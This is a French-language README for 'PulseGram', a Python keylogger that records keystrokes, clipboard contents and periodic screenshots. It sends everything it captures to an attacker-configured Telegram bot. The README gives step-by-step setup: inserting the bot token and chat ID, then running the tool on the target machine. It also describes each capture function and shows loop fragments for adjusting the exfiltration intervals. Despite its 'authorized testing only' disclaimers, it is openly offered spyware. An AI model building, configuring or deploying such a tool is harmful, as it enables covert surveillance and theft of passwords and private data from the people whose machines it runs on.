
Keylogger basé sur Python avec intégration de bot Telegram pour capturer les frappes clavier, le contenu du presse-papiers et des captures d'écran dans des environnements de tests de sécurité autorisés.
PulseGram est un keylogger intégré avec un bot Telegram. C'est un outil de surveillance qui capture les frappes, le contenu du presse-papiers et des captures d'écran, envoyant toutes les informations à un bot Telegram configuré. Il est conçu pour être utilisé dans des simulations d'adversaires et des contextes de tests de sécurité.
⚠️ Avertissement : Ce projet est à des fins éducatives et de tests de sécurité dans des environnements autorisés uniquement. L'utilisation non autorisée de cet outil peut être illégale et est interdite.
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
Author: Omar Salazar
Version: V.1.0
errors_log.txt pour faciliter le débogage.
Clonez le dépôt :
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
Installez les dépendances : Assurez-vous d'avoir Python 3 et pip installés. Exécutez ensuite :
pip install -r requirements.txt
Configurez le jeton du bot Telegram :
Créez un bot sur Telegram en utilisant BotFather.
Copiez votre jeton et collez-le dans le code dans main.py là où le bot est initialisé.
Copiez votre ChatID chat_id="131933xxxx" dans keylogger.py
Exécutez l'outil sur la machine cible avec :
python pulsegram.py
C'est le fichier principal de l'outil, qui initialise le bot et lance des tâches asynchrones pour capturer et envoyer les données.
Bot(token="...") : Initialise le bot Telegram avec votre jeton personnel.
asyncio.gather(...) : Lance plusieurs tâches pour exécuter la surveillance du presse-papiers, la capture d'écran et l'enregistrement des frappes.
log_error : En cas d'erreurs, les enregistre dans un fichier errors_log.txt.
Ce module contient des fonctions auxiliaires qui aident au fonctionnement global de l'outil.
log_error() : Enregistre toute erreur dans errors_log.txt avec un format date et heure.
get_clipboard_content() : Capture le contenu actuel du presse-papiers.
capture_screenshot() : Prend une capture d'écran et la sauvegarde temporairement pour l'envoyer au bot Telegram.
Ce module gère l'enregistrement des frappes, la surveillance du presse-papiers et les captures d'écran.
capture_keystrokes(bot) : Fonction asynchrone qui capture les frappes et envoie les informations au bot Telegram.
send_keystrokes_to_telegram(bot) : Cette fonction envoie les frappes accumulées au bot.
capture_screenshots(bot) : Capture périodiquement une image de l'écran et l'envoie au bot.
log_clipboard(bot) : Envoie le contenu du presse-papiers au bot.
Modifiez l'intervalle de temps de capture et d'envoi des informations.
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
Ce projet est uniquement à des fins éducatives et de tests de sécurité dans vos propres environnements ou avec autorisation explicite. L'utilisation non autorisée de cet outil peut violer les lois locales et les politiques de confidentialité.
Les contributions sont les bienvenues. Veuillez vous assurer de respecter le code de conduite lors de la collaboration.
Ce projet est sous licence MIT.